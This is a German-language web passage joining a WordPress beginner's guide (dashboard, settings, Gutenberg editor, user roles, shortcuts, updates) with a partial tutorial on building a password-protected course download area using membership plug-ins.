Sollten Sie ganz plötzlich die beste Idee der Welt haben, können Sie die als „Schnellen Entwurf“ blitzschnell direkt ins Dashboard hacken. Ein Klick auf „Speichern“ erzeugt einen Blogbeitrag, der aber nicht sofort online geht – perfekt für Notizen und Entwürfe. Doch Vorsicht: Anders als im Haupt-Editor speichert WordPress im Dashboard nicht automatisch zwischen.

Die „Schneller Entwurf“-Box zeigt auch die letzten Entwürfe an. Der Bereich „Aktivitäten“ informiert über neue Kommentare, die Sie direkt beantworten, bearbeiten, zurückweisen oder löschen können. Ein Klick auf „Papierkorb“ schickt die Kommentare genau dorthin. Die „Hilfe“ gibt Unterstützung beim Navigieren durchs CMS. Wenn Sie später Plug-ins installieren, tauchen eventuell weitere Boxen im Dashboard auf, die beispielsweise Besucherzahlen ausweisen.

Das Dashboard ist die Schaltzentrale jeder WordPress-Seite.
Das Dashboard ist die Schaltzentrale jeder WordPress-Seite.

Einstellungen vornehmen

Ein erster Ausflug führt Sie in die Einstellungen von WordPress, wo Sie grundlegende Informationen zu Ihrem Internetauftritt festlegen. Dazu gehören etwa der „Website-Titel“ und ihr „Untertitel“ oder Slogan. Das aktive Theme bestimmt, wo und wie Titel und Slogan auf der Website zu sehen sind und ganz generell, wie Ihre Website aussieht. Es gibt Themes in Hülle und Fülle – für jeden Zweck steht das passende Kleid bereit. Bereits installiert sind bei WordPress die Standard-Themes „Twenty Twenty-One“, „Twenty Twenty“ und „Twenty Nineteen“. Ungefähr jedes Jahr kommt ein neues hinzu, entwickelt werden Sie von wordpress.org selbst. Der Artikel auf Seite 68 stellt eine Reihe schicker Designs vor.

Eine weitere wichtige Einstellung betrifft die Links, die WordPress zu den Beiträgen und Seiten erzeugt, die sogenannten „Permalinks“. Deren URL-Struktur können Sie frei bestimmen. Sinnvoll ist beispielsweise eine Struktur, die Kategorie und Titel einer Seite berücksichtigt, was zu URLs wie …/rezepte/salami-pizza führt. Zum einen erhöht das die Nutzerfreundlichkeit. Zum anderen sind wichtige Schlagworte enthalten, die wiederum Google helfen, den Inhalt richtig einzuordnen (Rezept/Pizza). Eine URL wie …/?p=235 ist zwar auch möglich, aber zu kryptisch, als dass sie irgendwem weiterhelfen würde. Die Struktur der Permalinks lässt sich jederzeit ändern, aber nachträgliche Änderungen können negative Auswirkungen aufs Google-Ranking haben.

Geschäftlich oder privat?

Möchten Sie ein rein privates Blog führen, das nicht bei Google auftauchen soll, setzen Sie in den Einstellungen unter „Lesen“ ein Häkchen bei „Suchmaschinen daran hindern, diese Website zu indexieren“. Aber Vorsicht: Bekannte Anbieter wie Google oder Bing halten sich an diese Vorgabe, aber manch andere Suchmaschine setzt sich darüber einfach hinweg. Außerdem bleiben Ihre Einträge auch mit dieser Einstellung öffentlich zugänglich. (Das ändern Sie, wenn Sie für einen Beitrag ein Passwort festlegen oder seine Sichtbarkeit auf „privat“ stellen.)

Sie haben keine Lust auf doofe Kommentare? Unter „Diskussion“ schalten Sie die Funktion einfach ab („Besuchern erlauben, neue Beiträge zu kommentieren“). Alternativ gibt es die Option, nur Nutzer kommentieren zu lassen, die sich registriert haben, und sich vom CMS per Mail informieren zu lassen, wenn ein neuer Kommentar eintrifft oder auf Freischaltung wartet. Für letzteres müssen Sie in den Einstellungen festlegt haben, dass Kommentare manuell freigeschaltet werden müssen, ehe sie öffentlich zu sehen sind.

Nicht alle Einstellungen finden sich in dem so bezeichneten Menüpunkt. Wenn Sie bereits ein Blog betreiben oder ein altes Exemplar sichern möchten, können Sie dessen Inhalte einfach importieren – unter „Werkzeuge“. WordPress unterstützt von Haus aus Blogger.com von Google, Tumblr, LiveJournal, Movable Type und TypePad. Sie können außerdem Beiträge über einen RSS-Feed importieren. Ergänzend nimmt das CMS Links im OPML-Format entgegen. Weitere Importer für Spezialfälle gibt es als Erweiterungen in WordPress’ Plug-in-Verzeichnis.

WordPress bietet also viele Einstellungsmöglichkeiten, die im Admin-Bereich jedoch an verschiedenen Stellen verteilt sind. Wenn Sie mehrere Optionen auf einen Schlag anpassen oder eine bestimmte Option schnell finden wollen, werfen Sie einen Blick auf die URL …/wp-admin/options.php. Dort führt das CMS alle verfügbaren Einstellungen in einer alphabetisch sortierten Liste auf.

Besonders nutzerfreundlich ist die Ansicht allerdings nicht. Die englischsprachigen Optionen dort sind unkommentiert und entsprechen nicht mal Bezeichnungen der englischen Bedienoberfläche. Man muss sich also zusammenreimen, dass mit „blogname“ und „blogdescription“ der Website-Titel und -Untertitel gemeint sind. Änderungen werden in den Textfeldern vorgenommen. Auf diese Weise editieren Sie etwa die Admin-Mailadresse, den Blognamen oder die Reihenfolge der Kommentare in einem Rutsch. Vergessen Sie nicht, am Ende der langen Seite auf „Speichern“ zu klicken.

Umzugshilfe: WordPress kann Beiträge aus anderen Plattformen importieren.
Umzugshilfe: WordPress kann Beiträge aus anderen Plattformen importieren.

Der Gutenberg-Editor

WordPress verwaltet die Inhalte als „Beiträge“ (Posts) und als „Seiten“ (Pages). Beiträge sind für Blog-Posts, Nachrichten und Neuigkeiten gedacht. Viele Themes listen sie in umgekehrt chronologischer Reihenfolge auf der Startseite auf – so sind klassische Blogs aufgebaut. Um einen Beitrag hervorzuheben, setzen Sie ein Häkchen bei „Beitrag auf der Startseite halten“. Der Beitrag bleibt nun auch dann ganz oben, wenn Sie neuere Inhalte veröffentlichen. Wie genau der festgepinnte Post den Seitenbesuchern dargestellt wird, hängt vom verwendeten Theme ab.

Das Herzstück von WordPress ist der Editor für Beiträge und Seiten. Der verursachte Ende 2018 hitzige Diskussionen, denn mit dem Release von WordPress 5.0 ersetzte der neue Gutenberg-Editor den alten TinyMCE-Editor. Seit Gutenberg müssen die Nutzer in Blöcken denken: Ein Textabsatz ist ein Block, ein Bild ist ein Block, eine Überschrift ist ein Block – kurz: Jedes Element ist ein Block. Diese Inhaltsblöcke lassen sich einfach verschieben, umsortieren und individuell konfigurieren. Gutenberg macht den Aufbau von Webseiten, die kein lineares Textdokument sind, sehr viel leichter, als es zuvor mit TinyMCE möglich war.

Probieren Sie ihn aus und legen Sie unter „Beiträge/Erstellen“ einen neuen Post an. Über das Plus-Symbol links oben oder die Plus-Symbole im Dokument fügen Sie neue Blöcke hinzu. Um ein Foto einzufügen, wählen Sie den allgemeinen Block „Bild“ aus. Ganze Alben lassen sich per „Galerie“ in einen Beitrag einbetten. Für Experten gibt es zum Beispiel das kleine HTML-Icon, um eigenen Code einzufügen.

Unter dem Reiter „Beitrag“ (in der rechten Seitenleiste; in nicht ganz aktuellen WordPress-Versionen heißt der Reiter „Dokument“) legen Sie den individuellen Status und die Sichtbarkeit des Beitrags fest. Sie können auch ein Passwort vergeben: Nur wer es kennt, kann den Text lesen. Wenn Sie die Sichtbarkeit auf „Privat“ stellen, sehen nur Admins und registrierte Redakteure den Beitrag. In den Beitrag-Einstellungen bestimmen Sie außerdem Kategorien, Schlagworte (Tags) und das Beitragsbild. Dort können Sie auch die Kommentar-Funktion für einzelne Beiträge deaktivieren.

Der Reiter „Block“ bezieht sich auf den jeweiligen aktiven Block, den Sie links im Editor gerade bearbeiten. Die verfügbaren Einstellungen sind vom Block-Typ abhängig. Bei einem Textblock können Sie etwa eine CSS-Klasse unter „Erweitert“ festlegen, die dem Block zugeordnet wird. Sinnvoll ist das zum Beispiel für einen Texteinstieg, der gesondert hervorgehoben werden soll.

Die Möglichkeiten sind vom aktivierten Theme abhängig, viele bieten für den Texteinstieg zum Beispiel eine CSS-Klasse „intro“ an. Hinzu kommen die Text- und Farbeinstellungen, die ebenfalls vom Theme abhängig sind. Probieren Sie ruhig alle Optionen aus – solange Sie nicht auf „Veröffentlichen“ (rechts oben) klicken, kann niemand sehen, was Sie fabrizieren.

Im Gutenberg-Editor finden Sie links die Content-Blöcke und rechts allgemeine Optionen für den Beitrag.
Im Gutenberg-Editor finden Sie links die Content-Blöcke und rechts allgemeine Optionen für den Beitrag.

Statische Seiten

Im Unterschied zu den Beiträgen sind „Seiten“ für statische Inhalte gedacht, die sich nicht oft ändern, also etwa für eine Kontakt- oder eine Über-mich-Seite. Weil Seiten keine Beiträge sind, tauchen sie nicht automatisch in den Übersichten auf. Betreiben Sie mit WordPress kein Blog, sondern eher eine herkömmliche Website, können Sie alle Unterseiten Ihrer Präsenz als statische Seiten anlegen. Auf diese Weise ist etwa eine einfache Firmenpräsenz fix eingerichtet. Nach der Seiten-Struktur richtet sich auch die URL-Struktur: Ist die Seite „Team“ eine Unterseite von „Firma“, lautet ihre URL also: …/firma/team. Anders als die Beiträge verwenden Seiten keine Schlagwörter und keine Kategorien.

In der Seitenleiste des Editors weisen Sie unter „Seite/Seiten-Attribute“ einer Seite ein bestimmtes „Template“ (Vorlage) zu, sofern das Theme Templates vorsieht. Damit bringen Sie auf einfache Art etwas Abwechslung in das Aussehen Ihrer Website und trotzdem ist optisch noch alles aus einem Guss. Templates können zum Beispiel die Seitenleiste eines Themes ausblenden und den Text über die gesamte Breite laufen lassen. Bei „übergeordnete Seite“ legen Sie die Elternseite fest.

Die Option „Reihenfolge“, ebenfalls bei den Seiten-Attributen, steuert ebendiese. Die Werte sind beliebig: Wenn Sie wollen, ordnen Sie einer Seite eine „99“ zu und der anderen eine „999“. Unter „Seiten/Alle Seiten“ listet WordPress die angelegten Seiten in der vom Nutzer festgelegten Reihenfolge auf. Ist keine Reihenfolge und keine „übergeordnete Seite“ festgelegt, sortiert WordPress die Einträge von A bis Z.

Zu den ersten Seiten, die Sie anlegen sollten, zählen ein Impressum und eine Datenschutzerklärung – sonst drohen Abmahnungen, insbesondere, wenn Sie einen Onlineshop betreiben oder anderweitige kommerzielle Interessen verfolgen. Hilfreiche Hinweise, was dabei zu beachten ist, finden Sie zum Beispiel bei datenschutz.org (ct.de/yj1e). Im Reiter „Seite“ finden Sie auch die Versionskontrolle. Sie stellt sicher, dass ältere Textvarianten nicht verloren gehen. Jeder kann nachvollziehen, wer was wann geändert hat. Sie öffnen sie mit einem Klick auf den Link mit dem Uhren-Symbol.

Medien und Themes

Hinter dem Menüpunkt „Medien“ im WordPress-Backend verbirgt sich die Mediathek von WordPress. Sie versammelt alle hochgeladenen Bilder, Videos, Audiodateien und Dokumente an einem zentralen Ort. Über die beiden Drop-down-Menüs in der Toolbar wählen Sie Inhalte gezielt nach Medientyp oder nach Upload-Monat aus. Auf der rechten Seite hilft ein Suchfeld beim gezielten Aufspüren von Inhalten.

In der Mediathek können Sie ausmisten oder neue Materialien hochladen, die Sie später in Blog-Einträgen und Seiten verwenden möchten. An dieser Stelle versehen Sie die Inhalte außerdem mit Metadaten – sie sind für die Suchfunktion und vor allem für Google relevant. Dessen Bildersuche ist für viele Blogs ein wichtiger Traffic-Lieferant: Ein Reiseblog etwa kann allein durch gute Fotos viele Nutzer anlocken. Versuchen Sie zudem, bei den Bildunterschriften wichtige Suchbegriffe einzubauen, wenn Sie Bilder in ihre Seiten und Beiträge einbauen.

Um ein Bild mit Metadaten und weiteren Informationen zu versehen, klicken Sie es in der Übersicht an. Hier geben Sie zusätzlich einen „alternativen Text“ (ALT-Tag) ein, der das Bild beschreibt. Die Angabe ist optional, hilft aber Menschen mit Sehbehinderung, die einen Screenreader verwenden. Der Button unter dem Bild führt zu einer einfachen Bildbearbeitung, mit der Sie etwa Fotos beschneiden, drehen und spiegeln können. Photoshop ersetzt sie zwar nicht, aber kleine Korrekturen sind schnell vorgenommen.

Benutzer verwalten

Zusammen ist man weniger allein, das gilt auch beim Bloggen. Sie können weitere Mitstreiter, Autoren und Entwickler unter dem Menüpunkt „Benutzer“ anlegen und ihnen unterschiedliche Zugriffsrechte einräumen. Achten Sie darauf, wem Sie welche Rollen zuweisen: Wenn Sie einen weiteren Benutzer als „Admin“ hinzufügen, bekommt derjenige volle Eigentümerrechte und kann das gesamte Blog löschen. WordPress selbst empfiehlt daher nur einen Admin pro Blog.

Wählen Sie für Mitstreiter lieber die Rolle „Redakteur“ aus. Ein solcher kann Beiträge und Seiten ansehen, bearbeiten, veröffentlichen und löschen. Außerdem dürfen sich Redakteure um die Kommentare kümmern sowie Kategorien und Schlagworte verwalten. Ein „Autor“ darf nur seine eigenen Inhalte bearbeiten und veröffentlichen. Ein „Mitarbeiter“ darf Beiträge schreiben, sie aber nicht selbst freigeben. Über „Benutzer/Neu hinzufügen“ legen Sie neue Benutzerkonten an und vergeben die gewünschten Rollen. Die eigenen persönlichen Optionen finden Sie (und alle anderen Nutzer) unter „Benutzer/Dein Profil“.

Besucher der Website können sich auch selbst als Nutzer registrieren, wenn Sie das in den allgemeinen Einstellungen über „Jeder kann sich registrieren“ erlauben. Das ist zum Beispiel nützlich, wenn Sie nur von registrierten Benutzern Kommentare zulassen wollen. In den Einstellungen legen Sie auch die Rolle für solche neuen Benutzer fest, in der Regel sollte das „Abonnent“ sein.

Bei Blogs, die auf wordpress.com gehostet werden oder das Jetpack-Plug-in nutzen (siehe S. 72), können sich die Leser zudem als „Follower“ anmelden. Dann bekommen sie per E-Mail Bescheid, wenn es neue Inhalte gibt. Wenn Sie ein Häkchen bei „Benutzer benachrichtigen“ setzen, erhält dieser eine Einladung.

Effizienter bloggen

Die Verwaltungsarbeit in WordPress kostet etwas Zeit – kann aber beschleunigt werden. In der Beiträge- und Seiten-Übersicht lassen sich zum Beispiel die Inhalte massenweise editieren. Um etwa die Kategorien von gleich mehreren Beiträgen zu bearbeiten, markieren Sie zunächst die entsprechenden Posts. Dann wählen Sie im Drop-down-Menü „Mehrfachaktionen“ den Punkt „Bearbeiten“ und klicken auf „Übernehmen“.

Es öffnet sich die „Mehrfachbearbeitung“, in der Sie Kategorien und Schlagworte ändern und hinzufügen können. Außerdem haben Sie die Möglichkeit, den Autor und den Status der Beiträge zu ändern sowie die Kommentarfunktion abzuschalten. Sind alle Änderungen vorgenommen, klicken Sie abschließend auf „Aktualisieren“. Die eingesparte Zeit steht nun fürs eigentliche Bloggen zur Verfügung.

Und auch das Schreiben und Formatieren lässt sich effizienter gestalten, denn der Gutenberg-Editor unterstützt diverse Tastenkürzel. Strg+B fettet ein markiertes Wort, Strg+I setzt es kursiv, Strg+U unterstreicht es. Dann gibt es die aus Software bekannten Kürzel: Strg+S speichert den Beitrag, Strg+Z macht die letzte Änderung rückgängig (unter macOS gelten die entsprechenden Befehle mit Cmd statt Strg). Mit Strg+K verlinken Sie den ausgewählten Text.

Praktisch sind die speziellen „Block“-Tastaturkürzel: Umschalt+Strg+D dupliziert den im Editor ausgewählten Block, Alt+Strg+Y fügt einen neuen Block nach dem ausgewählten ein. Für eine Übersicht aller verfügbaren Tastaturkürzel im Editor drücken Sie Umschalt+Alt+H (macOS: Ctrl+Alt+H) – oder Sie klicken auf das Icon mit den drei Punkten ganz oben in der rechten Ecke und dann auf „Tastaturkürzel“.

Es gibt auch Tastaturkürzel, um die Arbeit in der Kommentarverwaltung von WordPress zu erleichtern. Die Funktion müssen Sie aber zunächst in den Einstellungen unter „Benutzer/Dein Profil“ einschalten, indem Sie bei „Tastaturkürzel“ ein Häkchen setzen. Anschließend können Sie mit J die Kommentare durchlaufen. Der jeweils aktive Kommentar ist hellblau eingefärbt.

Mit K springen Sie zum vorherigen Kommentar zurück. Um einen irrtümlich als Spam markierten Beitrag doch freizuschalten, drücken Sie A (für approve). Ein Tastendruck auf D verschiebt ihn in den Papierkorb (delete), ein Druck auf S markiert ihn als Spam. Mit Q aktivieren Sie den Quick Edit und können fix Fehler in einem Kommentar verbessern.

Ein Druck auf R löst eine Antwort auf Kommentar aus (reply). Mit den Tastaturkürzeln lassen sich auch mehrere Kommentare auf einen Schlag verwalten: Markieren Sie die Einträge mit X und drücken Sie dann Umschalt+S, um alle als Spam zu markieren. Umschalt+A, Umschalt+D und so weiter funktionieren analog. So herrscht schnell wieder Ordnung.

Erfolgreich im Netz

Der Anfang mit WordPress ist superleicht, dann heißt es aber: nicht nachlassen und motiviert am Ball bleiben. Am besten schreiben Sie bereits ein paar Einträge oder Seiten, noch bevor Ihre Website online geht. Dann haben die ersten Besucher gleich etwas zu lesen und auch der Google-Crawler findet genügend Material bei der ersten Indexierung. Wer nach dem Start seine Site regelmäßig mit guten Texten füllt, wird früher oder später seine Leser finden.

Insbesondere beim Bloggen zählt die persönliche Note. Schreiben Sie über ein Thema, mit dem Sie sich gern beschäftigen. Dass Sie mit Leidenschaft dabei sind, merken dann auch die Leser und honorieren Ihre Mühen zum Beispiel mit Feedback. Leser lieben außerdem Mehrwert: Das können Tipps fürs Reisen sein oder ausführliche Erfahrungsberichte, Anleitungen oder persönliche Produktbesprechungen.

Wenn Sie nun aber das tausendste Gadget-Blog gründen, das über iPhones berichtet, sind Sie sofort von harter Konkurrenz umgeben. Es dürfte schwer werden, ein Alleinstellungsmerkmal herauszuarbeiten. Einfacher gelingt der Start in einer Nische, in der es weniger Konkurrenz gibt und die Zielgruppe spitzer definiert ist. Spezialisieren Sie sich also – denn egal, wie abseitig Ihr Thema dann auch sein mag, es wird irgendwann sein Publikum finden.

Auf langweilige Texte reagieren allerdings nur wenige Leser. Wer mehr Kommentare will, darf durchaus mal ein bisschen frecher formulieren. Für viele Poster ist Feedback der größte Motivator. Versuchen Sie also, auf die Kommentare einzugehen, am besten auf jeden einzelnen. Humor hilft, besonders wenn Trolle Sie ärgern; außerdem können Sie Kommentare auch in den Papierkorb verschieben, schließlich ist das Ihre Website und Sie entscheiden über die Inhalte. Zudem sollten Sie Aufforderungen zu kriminellen Handlungen oder dubiose Links in den Kommentaren lieber entfernen.

Für den (schnellen) Erfolg kann etwas Eigenwerbung nicht schaden. Als Werbekanäle bestens geeignet sind ein ergänzender Instagram-Account sowie eine Seite bei Facebook. Auf beiden Plattformen verweisen Sie auf neue Blog-Einträge und tauschen sich mit Fans aus. Doch Vorsicht: So mancher Blogger ließ sich von Instagram verführen und veröffentlichte eines Tages nur noch dort. Das ist sehr schade, schließlich gehen viele Freiheiten verloren.

Updates nicht vergessen

Am Ball bleiben müssen Sie auch in puncto Sicherheit: Von Zeit zu Zeit kommen Sicherheitslücken in WordPress ans Licht, die aber meist schnell gestopft werden. Wichtig ist, dass Sie brav jedes Update einspielen und damit das CMS auf dem neuesten Stand halten. Die kleineren Sicherheitsaktualisierungen installiert WordPress bequem automatisch, zur Bestätigung erhalten Sie eine E-Mail.

Um größere Versionssprünge müssen Sie sich aber selbst kümmern. Plug-ins und Themes aktualisieren sich ebenfalls nicht von selbst. Die Updates für Erweiterungen sind genauso wichtig wie die fürs CMS, denn sie gehören zu den größten Einfallstoren für Schadcode. Viel Aufwand machen diese Updates glücklicherweise nicht, es sind nur wenige Klicks nötig. Unter dem Menüpunkt „Dashboard/Aktualisierungen“ können Sie schnell prüfen, ob die neuesten Versionen der Themes, Plug-ins, Übersetzungen und von WordPress selbst installiert sind.

Dies ist die gekürzte und überarbeitete Version eines Artikels, der zuerst in Mac & i extra Workshops erschien. (jo@ct.de)

Hilfeseiten: ct.de/yj1e




WordPress – Einen geschützten Kundenbereich in WordPress einrichten

Einen geschützten Kundenbereich in WordPress einrichten

vor 5 Jahren

Kim Salewski

Funktion

Haben Sie schon einmal überlegt, einen geschützten Kunden- oder Mitgliederbereich für Ihre Website einzurichten? Es gibt unzählige Membership-Plug-ins im großen, weiten Internet, genau so wie es unzählige Anforderungen an Mitgliederbereiche gibt. Kein Wunder, dass man dafür oftmals eine Menge Zeit und Energie investieren muss, um eine geeignete Lösung zu finden.

Inhalt

Worum geht es?

Manche Mitgliedschaften sollen z.B. gekauft werden können, andere wiederum sollen nach einer gewissen Zeit ablaufen, wieder andere sollen komplett kostenlos sein und lediglich Inhalte für Kunden oder Kursmitglieder zur Verfügung stellen. In diesem Beitrag gehen wir auf einen Mitgliederbereich ein, in welchem sie Dateien zum Download in einem geschützten Kunden- oder Mitgliedsbereich bereitstellen können.

Was ist der Plan?

In dem beschriebenen Beispiel gehen wir davon aus, dass Sie einen oder mehrere Kurse/Schulungen anbieten. Ihren Kursteilnehmern möchten Sie Download-Dateien wie Infohefte, Aufgabenzettel oder ähnliches auf Ihrer Website in einem geschützten Bereich zum Herunterladen bereitstellen. (Natürlich könnte es sich auch um einen geschützten Bereich handeln, bei denen Sie Ihren Kunden zum Beispiel Preislisten zum Download anbieten. Das Vorgehen ist das gleiche.)

In einem ersten Schritt richten wir einen Mitgliederbereich ein, in dem Kursteilnehmer sich mittels eines spezifischen Benutzernamen und Passwortes einloggen können. Diese Daten erhalten die Kursteilnehmer von Ihnen zum Beispiel per E-Mail oder per Post. Durch eine Log-in-Seite auf Ihrer Website melden sich die Kursteilnehmer an und werden daraufhin direkt auf die entsprechende Kursseite weitergeleitet, auf die Sie Zugriff haben. Hier können sie die gewünschten Dateien herunterladen.

Was wir benötigen

  • Eine Log-in-Seite
  • Eine Mitgliedschaft sowie ausgewählte Benutzerdaten pro Kurs, mit dem sich Kursteilnehmer zukünftig zum Herunterladen Ihrer Dateien anmelden können
  • Die Möglichkeit, nach Log-in direkt zur entsprechenden Downloadseite weitergeleitet zu werden
  • Geschütze Downloads, die nur von angemeldeten Benutzern heruntergeladen werden können

Das alles werden wir mit Hilfe von nur drei Plug-ins umsetzen. Das erste Plug-in Simple Membership dient der Erstellung eines Mitgliederbereiches. Mit dem zweiten Plug-in, der Erweiterung After Login Redirection, erstellen wir die Umleitung nach dem Log-in. Das dritte Plug-in, genannt Download Monitor, sorgt dafür, dass auf bestimmte Dateien nur zugegriffen werden kann, wenn der Besucher eingeloggt ist. Dies verhindert den Zugriff von nicht angemeldeten Besuchern auf die Dateien, die sonst durch einen Permalink für alle aufrufbar wären.

Installation des Plug-ins Simple Membership

Die Installation der Plug-ins läuft wie gewohnt ab. Unter Plug-ins im Backend suchen Sie unter Installieren nach dem Plug-in Simple Membership. Dieses installieren und aktivieren Sie.

Simple Membership installieren
Bei der Aktivierung werden automatisch die folgenden Seiten angelegt:

Von Simple Membership angelegte Seiten
Diese Seiten regeln über die in ihnen automatisch angelegten Shortcodes, welche Funktion jeweils durchgeführt werden. Die Join Us Seite ist eine Beispiel-Seite, die zeigt wie Sie Ihre Mitgliedschaften präsentieren können, sofern es für Besucher möglich sein soll, sich selbst zu registrieren. Die Registration-Seite ist die Seite, auf der Besucher sich für eine Mitgliedschaft registrieren können. Beim Membership Login melden sich Mitglieder mit Ihrem Benutzernamen und Passwort an, um Zugriff auf Ihre Mitgliedsseiten zu erhalten. Unter Passwort Reset werden Passwörter zurückgesetzt und das Profile zeigt dem Besucher die Daten an, die bei dem Benutzer hinterlegt sind (hier kann er diese ggf. auch ändern).

Anpassen der Log-in Seite

Soviel zu der Erklärung der einzelnen Seiten. Für unser oben genanntes Beispiel löschen Sie bitte die folgenden Seiten:

Folgende Simple Membership Seite benötigen Sie
Wir benötigen lediglich den Membership Login, über welchen Ihre Nutzer sich anmelden können. Es sollen sich keine neuen Benutzer registrieren können, auch das Passwort und die restlichen Benutzerdaten sollen lediglich von Ihnen selbst im Backend geändert werden können, weshalb die restlichen Seiten wegfallen. Genau so wie die Join Us Seite, die somit überflüssig wird.

Während Sie dabei sind, die Seitenanzahl zu reduzieren, benennen Sie gleich die Membership Login Seite in Login um, damit es hier später nicht zu Verwirrungen kommt. Vergessen Sie dabei nicht, auch den Permalink anzupassen.

Log-in Seite anpassen
Wenn Sie diese Anpassungen vorgenommen haben, wird es nun Zeit, Einstellungen in Simple Membership an sich vorzunehmen. Hierzu suchen Sie in der Seitenleiste den Punkt WP Mitgliedschaften und wählen in dem Untermenü Einstellungen aus.

Im Allgemeinen lassen Sich hier allerlei Einstellungen vornehmen, die interessant für Sie sind, wenn Sie z.B. Mitgliedschaften anbieten wollen, zu denen sich Ihre Besucher registrieren sollen. Für unseren Fall sind aber bereits alle Einstellungen ausreichend eingestellt. Lediglich die URLs unter Seiteneinstellungen müssen gemäß unserer Änderungen an den Seiten angepasst werden.

die Seite unter Einstellungen eintragen
Wir benötigen nämlich nur die URL der Login Seite in jedem Feld. Das verhindert zum einen, dass später Fehlermeldungen erscheinen. Zum anderen werden erreichen die Kursteilnehmer nie Seiten wie Passwort zurücksetzen und können so keinen Unsinn treiben.

Eine Mitgliedschaftsstufe einrichten

Nun ist es soweit, es wird Zeit, die Mitgliedschaft oder auch Mitgliedschaftsstufe für Ihre Benutzer einzurichten. Diese regelt, welcher Benutzer was sehen darf. Ein kleines Beispiel:

Sie richten eine Mitgliedschaftsstufe mit dem Namen Kurs A und eine mit dem Namen Kurs B an.

Auf der Download-Seite für den Kurs A, die wir später erstellen, stellen Sie dann ein, dass nur Benutzer, die zu der Mitgliedschaft Kurs A gehören, diese Seite sehen/aufrufen können. Das verhindert sowohl, dass Kurs B-Teilnehmer, als auch dass unangemeldete Besucher die Seite sehen können.

Mitgliedschaftsstufen für die Kurse anlegen
Um eine Mitgliedschaftsstufe anzulegen, gehen Sie unter WP Mitgliedschaften auf den Unterpunkt Mitgliedschaftsstufen. Über den Button Neu hinzufügen erstellen Sie neue Mitgliedschaften.

Die geforderten Einstellungen in den Mitgliedschaftsstufen ist für unseren Mitgliederbereich nicht besonders umständlich. Was festgelegt sein muss ist der Name, sowie die Benutzerrolle und ein Ablaufdatum.

Eine Mitgliedschaftsstufe in Simple Membership anlegen
Als Name nehmen wir beispielsweise Kurs A, alternativen wären aber auch Grundkurs oder z.B. Einsteiger. Die WordPress-Benutzerrolle stellen wir auf Abonnent, um den Benutzern so wenig Befugnisse wie nur möglich zu geben. Als Ablaufdatum stellen wir keinen Ablauf ein, da in unserem Fall die Benutzer eigenhändig angelegt und zugeordnet werden. Es liegt also an uns, wann der Benutzer Zugriff hat und wann nicht.

Ein Mitglied einrichten und einer Mitgliedschaftsstufe zuordnen

Da wir nun die passende Mitgliedschaftsstufe haben, müssen wir als nächstes einen Benutzer anlegen, dem wir diese zuordnen. Das geht in der Regel auch ganz leicht, alles, was benötigt wird, ist eine E-Mail-Adresse pro Benutzer. Hierbei ist pro das ausschlaggebende Wort, da nicht mehrere Benutzer mit der selben E-Mail-Adresse angelegt werden können. Sie müssen also pro Kurs einen Benutzer mit einer eigenen E-Mail-Adresse angeben.

Um einen Benutzer mit einer bestimmten Mitgliedschaftsstufe anzulegen, suchen Sie in der Seitenleiste WP Mitgliedschaften und wählen Sie den Unterpunkt Mitglieder aus. Hier finden Sie, wie bei den Mitgliedschaftsstufe auch, einen Butten mit dem Namen Neu hinzufügen, über welchen neue Mitglieder angelegt werden können.

Neben den benötigten Angaben wie Benutzername, E-Mail-Adresse und Passwort, können Sie weitere Angaben machen, wie zum Beispiel den Kontostatus, welcher standardmäßig auf Aktiv steht. Sollte einmal ein Benutzer zeitweise deaktiviert werden müssen, beispielsweise wenn Sie geschützte Seiten anpassen wollen, ohne dass ein Mitglied diese Anpassungen sieht, stellen Sie den Benutzer einfach auf Inaktiv.

Kontostatus umstellen wenn benötigt
Essenziell für unsere Voraussetzungen ist aber die Mitgliedschaftsstufe, die für den Benutzer ausgewählt werden kann. Ist ein Benutzer einer Stufe zugeordnet, hat er Zugriff auf alle Seiten, die für diese Mitgliedschaftsstufe freigeben wurden.

Mitgliedschaftsstufe für einen Benutzer einstellen
Das sind auch schon alle Einstellungen, die für unseren Mitgliederbereich notwendig sind. Was nun folgt, ist das Erstellen der Seiten, auf den das jeweilige Kursmitglied zugreifen können soll.

Eine Kurs-Seite einrichten und schützen

Als nächstes legen Sie eine neue Seite an, die rein für den Kurs A-Teilnehmer zu sehen sein soll.Sobald Sie eine neue Seite angelegt haben, finden Sie unterhalb des Editors die Einstellungen zum Schutz der Seite.

Seiten für Kursmitglieder schützen
Sie haben unter „Möchten Sie diesen Inhalt schützen?“ zum einen die Wahl, den Inhalt zu schützen oder den Schutz aufzuheben. Zum anderen können Sie unter „Wählen Sie die Mitgliedschaftsstufe aus, die auf diesen Inhalt zugreifen kann“ entscheiden, welche Mitgliedschaftsstufe diese Seite sehen kann. Für unser Beispiel wählen wir Kurs A aus, was dafür sorgt, dass sowohl Kurs B als auch alle anderen Benutzer/Besucher die Seite nicht aufrufen können.

URL der Seite als Redirect einstellen

Wie bereits oben beschrieben wäre es wünschenswert, dass Kurs-Teilnehmer, die Sich mit einem Benutzer von Kurs A anmelden, auch direkt bei der Download-Seite von Kurs A landen. Glücklicherweise gibt es hier ein Add-on für das Simple Membership Plug-in. Sie rufen einfach unter WP Mitgliedschaft im Backend den Menüpunkt Add-ons auf. Hier finden die, für gewöhnlich gleich an erster Stelle, das Add-on After Login Redirection, alternativ können Sie unter Plug-ins gleich nach Simple Membership After Login Redirection suchen und dieses installieren und aktivieren.

Was nun passiert ist, dass automatisch bei Ihren Mitgliedschaftsstufen eine zusätzliche Spalte auftut, in welche Sie die URL der Seite eintragen, auf die Benutzer weitergeleitet werden, die dieser Mitgliedschaftsstufen angehören.

Die URL für den Redirect eintragen
In unserem Fall leiten wir in der Kurs A Mitgliedschaftsstufe auf die Download-Seite von Kurs A weiter. Somit werden Benutzer, die für Kurs A eingetragen sind, nach erfolgreichem Einloggen automatisch auf diese Seite weitergeleitet und müssen nicht erst mühselig zu ihr finden.

Die Downloadseite des Kurses befüllen

Nun geht es darum, die Downloads zu schützen, die auf den einzelnen Download-Seiten angeboten werden. Der Sinn hierbei ist, dass selbst wenn jemand den Link zum Download weitergibt, nur angemeldete Benutzer diese herunterladen können. Hier hilft das Plug-in Download Monitor weiter.

Nach der Installation finden Sie in der Seitenleiste im Backend den Menüpunkt Downloads. Hier können Sie Downloads anlegen, Ihnen Titel geben und sie lediglich für angemeldete Benutzer zugreifbar machen.

Neuen Download anlegen und schützen
Ein Download kann dabei aus mehreren Dateien bestehen. Sie klicken unter Dateien/Versionen einfach auf Download hinzufügen, um eine neue Datei zum Download hinzuzufügen.

Mehrere Dateien zum Download
